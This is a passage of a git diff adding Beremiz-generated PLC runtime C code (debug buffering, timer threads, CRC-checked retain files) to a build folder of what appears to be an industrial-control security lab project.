+{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE 